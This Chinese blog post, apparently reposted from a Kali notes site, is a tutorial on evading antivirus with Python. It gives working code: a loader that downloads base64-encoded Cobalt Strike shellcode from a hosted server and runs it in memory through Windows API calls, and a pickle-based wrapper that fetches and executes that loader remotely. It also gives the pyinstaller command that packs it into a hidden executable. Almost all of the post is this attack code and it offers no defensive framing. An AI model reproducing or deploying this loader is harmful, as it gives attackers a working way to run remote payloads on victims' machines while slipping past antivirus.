ITPub博客

首页 > 数据库 > 数据库开发技术 > 浅谈Python静态免杀

浅谈Python静态免杀

原创 数据库开发技术 作者:逍遥子 时间:2023-01-18 16:50:28 0 删除 编辑

本文我们再来看看利用python进行静态免杀吧!

先用CS生成 shellcode 把shellcode进行加密放在里面并存放到服务器。pythonBS64shellcode.txt

这里为了方便,我们直接放到了kali的apache目录下。并启动Apache

service apache2 start

修改加载器的服务器地址后进行一次BS64加密,然后把代码放在loader.txt里面并存放到服务器

import ctypes,urllib.request,codecs,base64
shellcode = urllib.request.urlopen('http://192.168.5.38/shellcode.txt').read()
shellcode = shellcode.strip()
shellcode = base64.b64decode(shellcode)
 
shellcode =codecs.escape_decode(shellcode)[0]
 
shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

再次利用python编码

#-*- coding : utf-8-*-
#coding:unicode_escape
import pickle
import ctypes,urllib.request,codecs,base64
sectr = urllib.request.urlopen('http://192.168.5.38/loader.txt').read()
#sectr=str(sectr,'UTF-8')
#print(sectr)
sectr = base64.b64decode(sectr).decode("utf-8")
class A(object):
    def __reduce__(self):
        return (exec, (sectr,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
ret_decode = base64.b64decode(ret_base64)
pickle.loads(ret_decode)

修改服务器地址后使用打包成exe可执行文件pyinstaller

pyinstaller -F -w py_ma.py

效果


原文作者:Kali笔记;如有侵权,请联系管理员删除。

上一篇: 2022精彩文章汇总
下一篇: web“肾透”指南
请登录后发表评论 登录
全部评论

注册时间:2021-01-22

  • 博文量
    760
  • 访问量
    444381